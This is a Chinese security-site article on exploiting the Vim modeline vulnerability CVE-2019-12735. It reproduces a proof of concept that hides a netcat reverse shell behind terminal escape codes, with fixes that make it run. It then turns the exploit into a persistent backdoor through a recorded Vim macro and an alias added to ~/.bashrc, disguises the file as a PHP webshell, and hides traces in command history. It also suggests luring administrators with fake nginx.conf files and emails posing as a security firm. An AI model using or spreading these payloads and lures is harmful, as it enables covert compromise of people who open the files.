歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

基于VIM漏洞CVE-2019-12735的VIM宏后門病毒詳解

來源:本站整理 作者:佚名 時間:2019-06-14 TAG: 我要投稿

作為一個vim多年使用者,前兩天得知爆出個VIM的RCE漏洞搞的我有點害怕,因此特意對這個漏洞的利用進行了一些研究。由于本人是個菜的摳腳的腳本小子,因此并不會在這篇文章中去給大家解釋漏洞原因,作為腳本小子我只關心如何利用。至于漏洞原因的一些解釋可以去原作者的git上去看:原作者GitHub鏈接

0×01 漏洞復現
先講一下如何漏洞復現,復現該漏洞的基本條件是:
1.Vim版本在影響范圍內,目前大部分版本都有受影響,至少我最近開啟的GCP上的ubuntu默認的vim版本在8.0左右是受影響的。
2.必須開啟modeline選項,這個選項很關鍵,我的GCP上默認是不開啟的,所以嚴重降低了該漏洞的危害,不太確定低版本或者是一些衍生版本的vim會不會默認開啟。
復現poc1過程:
1. 在~/.vimrc中加入set modeline確保開啟該選項
2. 使用原作者的第一個poc直接寫入一個文件并保存:`:!uname -a||” vi:fen:fdm=expr:fde=assertfails(“source!\ \%”):fdl=0:fdt=”
3. 然后使用vim打開該文件,如果受影響就會執行打印uname -a的結果,如果不受影響就是一個普通的文本
復現poc2過程:
先來看看原作者在git上寫著的poc2:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
如果你只是檢測的話可以不用看這個poc,這個poc主要是用來貼近實戰的利用。我估計會有人使用這個poc1成功,但是使用poc2始終不成功,其實這個poc有幾個地方需要改一下(準確來說是不能復制黏貼):
1.這里面涉及到的十六進制比如\x1b是需要通過二進制編輯器直接改成二進制的,復制黏貼是不行的。將poc中所有的十六進制位置編輯成二進制即可。
2.反斜杠的問題,原poc中作者為了轉義特殊符號來顯示所以多加了反斜杠,將所有涉及到轉義的字符前面多一個的反斜杠“\”去掉就可以了
3.必要的話將最后的\n直接改成回車,如果\n在你的文本里沒有被解釋成回車的話
按照上面說的流程修改完poc后,我們在測試機本地起個nc監聽:nc -lvp 9999最后打開poc2即可看到nc獲取到了反彈鏈接。
0×02 改造poc2加入宏后門
先來說說為什么要加入宏后門,poc2中有個問題,就是當vim打開一次文檔后,就不會在攜帶有惡意代碼了從而變成一個普通文檔。雖然我們可以通過第一次建立連接后下載木馬來獲得持久的后門,但這個方式不在討論范圍內了。這里我的想法是先實現每次打開文檔都會獲得反彈鏈接的持久后門,而不是依賴于下載外部木馬。Poc2其實加了很多代碼用來偽裝成正常文件內容,使人即使打開文件也不會察覺到里面藏有惡意代碼,而poc1則會很明顯看到代碼執行。這個偽裝有幾個特點:
受影響版本的vim和cat打開都不會顯示插入的惡意代碼。
cat -v可以看到惡意代碼
不同版本的cat可能會看到一些顯示的差異,但是惡意代碼依舊是看不到的。
為了不破壞偽裝同時做成可持續的后門,比較菜的我只想到了利用vim宏來達到這個效果。
基本實現思路:
首先,我們希望的是每次vim文件都會執行代碼,那么有沒有可能使其每次vim文件的時候都執行一邊vim宏呢?這是可能的,過程如下:
1. 在vim窗口錄制宏:q{寄存器名稱},錄制完成后再按下q按鍵停止
2. 在~/.bashrc中寫入alias vim=vim -c ‘@{寄存器名稱}’ 以及shopt -s expand_aliases,通過alias替換vim別名的方式來打開文件默認執行宏
3. 那么只要管理員重新登錄shell,以后不管他vim什么文件都會執行我們寫在宏里的命令
接下來要做的就是在poc2中合適的地方加入錄制宏的命令,其實poc2中那些十六進制比如\x1b是ESC的意思,可以聯想到這個應該是vim中切換模式的按鍵,因此我們可以通過在ESC之后需要執行的命令之前加入qy來開始錄制宏y,在命令執行完后某個合適的位置加入q來終止宏的錄制。在試了很多次后最終有了以下exp:基本的VIM宏樣本
#進一步優化上面那個poc依舊存在幾個問題:
1. 每次執行都會瘋狂的往bashrc里插入alias那兩句,只要vim一次就插一次,這很不好
2. 沒有偽裝成正常文件內容
為了改善第一個問題,我們可以通過分開執行兩次命令,然后宏只錄制第一個命令(即反彈shell),第二個插入命令只執行一次。這聽起來很容易,其實做起來并不容易……多次執行會遇到很多問題,因為我太菜了所以花了很長的時間。改善第二個問題,其實也遠遠沒有想的那么簡單,以為只是在空白處插入文本即可,其實不是的,原poc中的命令會對這些文本產生影響,所以寫入什么樣的文本都還是有點考究的。這邊給出一個最終將這兩個問題都解決了并且偽裝成一個PHP一句話的案例:偽裝成php一句話木馬的vim宏后門
PS:最后還有個vim歷史命令里會殘留執行的命令的問題,這個可以通過插入一些垃圾vim命令來偽裝。
0×03 思考總結
考慮到這個漏洞需要開啟modeline選項,所以危害嚴重降低。不過還是可以通過釣魚來碰運氣的,因為你說不好就有生產環境的vim開了這個。假設他們開了那么這個就會成為一個Linux上類似于win上的點擊病毒,只要vim了就會中招,而且會隨著原文件的copy同步來擴大。還有一些mbp用戶也會中招,比如你在網上散播偽裝成nginx.conf的文件,誘導那些可憐的開發者來下載使用。甚至于我們可以偽裝成一個一句話木馬上傳到目標站點,至于他能不能執行都不重要,直接發郵件給管理員偽裝成安全公司來告知他們掃描發現木馬,建議他們通過vim打開文件確認后刪除……總之開開腦洞還是可能有利用場景的,不過我個人認為吧,沒錯這個漏洞就是雞肋玩具!最后如果有朋友知道具體哪些版本和可能的場景下vim會默認打開modeline選項,還請告知謝謝啦。
 

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视